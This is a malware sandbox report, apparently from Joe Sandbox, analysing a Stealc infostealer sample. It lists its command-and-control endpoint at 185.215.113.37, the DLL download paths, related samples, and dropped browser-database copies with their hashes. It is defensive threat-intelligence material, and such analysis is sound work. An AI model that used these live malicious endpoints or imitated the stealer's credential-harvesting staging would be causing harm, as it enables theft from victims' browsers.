http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	21%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0d60be0de163924d/softokn3.dllM	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php)U	file.exe, 00000000.00000003.1533599242.000000000095D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll5	file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllm9X	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phptB	file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php7-	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	ECGDBAEHIJKKFHIEGCBG.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllQ	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllC9	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpPB	file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpJDHCAKKFCBGCBAAEC	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll#	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpDBAEHIJKKFHIEGCBG	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll%	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697376341.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1697747328.000000006FE3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php3a	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpinomi	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllo0	file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php$B	file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpJ	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllJ	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllq9	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlli	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://support.mozilla.org	AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll_	file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php(	file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522599
Start date and time:	2024-09-30 12:32:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 75 Number of non-executed functions: 52
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAAECGHCBGCBFHIIDHIJKFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAAEHDBFIDAFIDHJEBFBGDGHJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDBAEHIJKKFHIEGCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EHIJDHCAKKFCBGCBAAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJKKKFIIJJKJKFIECBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDGHIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDGHIIECGHDHJKFCAEGIJDGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDHDGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJJEGHDAEBGCAKJKFHDHCFHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
